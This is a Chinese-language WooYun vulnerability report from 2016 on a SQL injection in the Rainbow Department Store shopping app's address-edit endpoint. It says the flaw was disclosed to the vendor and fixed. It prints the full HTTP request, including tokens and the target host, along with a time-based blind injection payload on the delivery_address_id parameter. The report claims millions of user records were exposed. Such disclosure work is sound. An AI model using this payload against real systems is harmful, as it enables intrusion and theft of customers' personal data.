当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0189961

漏洞标题:天虹商场APP一处SQL注入(再现380W用户数据)

相关厂商:天虹商场

漏洞作者: 专业种田

提交时间:2016-03-29 10:55

修复时间:2016-03-30 09:53

公开时间:2016-03-30 09:53

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-03-29: 厂商已经确认,细节仅向厂商公开
2016-03-30: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

天虹商场app最新版本2.0.4
收货地址修改功能存在sql注入,参数:delivery_address_id

天虹202.png

天虹203.png


POST /center/delivery_address/edit HTTP/1.1
x-http-interface-v: 1.0.0
x-http-package: cn.rainbow.westore
x-http-devicetype: android
x-http-token: abcfd78b4f39cc4d1467731907e3755c
x-http-version: 2.0.4
x-http-timestamp: 1459129516
x-http-deviceuid: ffffffff-a95e-e042-5fcb-c4e600000000
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1; MI 2 MIUI/4.12.5)
Host: member.honglingjin.cn
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 449
detail_address=11%E5%8F%B7&province_code=31345&area_code=100005&street=%E5%8D%97%E5%B1%B1%E8%A1%97%E9%81%93%E6%97%B6%E4%BB%A3%E9%AA%84%E5%AD%90&city=%E6%B7%B1%E5%9C%B3&store_code=00110&area=%E5%8D%97%E5%B1%B1%E5%8C%BA&consignee_name=%E4%BD%99%E7%94%9F&delivery_address_id=4996&province=%E5%B9%BF%E4%B8%9C%E7%9C%81&mobile_phone_number=13500000000&user_id=25000131900&city_code=31359&street_code=10000122&access_token=41128f3f23657fc460a6079faab54e70&


Parameter: delivery_address_id (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: detail_address=11%E5%8F%B7&province_code=31345&area_code=100005&street=%E5%8D%97%E5%B1%B1%E8%A1%97%E9%81%93%E6%97%B6%E4%BB%A3%E9%AA%84%E5%AD%90&city=%E6%B7%B1%E5%9C%B3&store_code=00110&area=%E5%8D%97%E5%B1%B1%E5%8C%BA&consignee_name=%E4%BD%99%E7%94%9F&delivery_address_id=4996 AND (SELECT * FROM (SELECT(SLEEP(5)))NESU)&province=%E5%B9%BF%E4%B8%9C%E7%9C%81&mobile_phone_number=13500000000&user_id=25000131900&city_code=31359&street_code=10000122&access_token=41128f3f23657fc460a6079faab54e70&

天虹201.png

漏洞证明:

没跑那么多数据,查看 WooYun: 天虹商场APP一处SQL注入(含380W+商场用户数据及330W+VIP用户数据) 相同。

天虹205.png

修复方案:

sql过滤

版权声明:转载请注明来源 专业种田@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-03-29 17:11

厂商回复:

感谢您的提交。

最新状态:

2016-03-30:已修复。


漏洞评价:

评价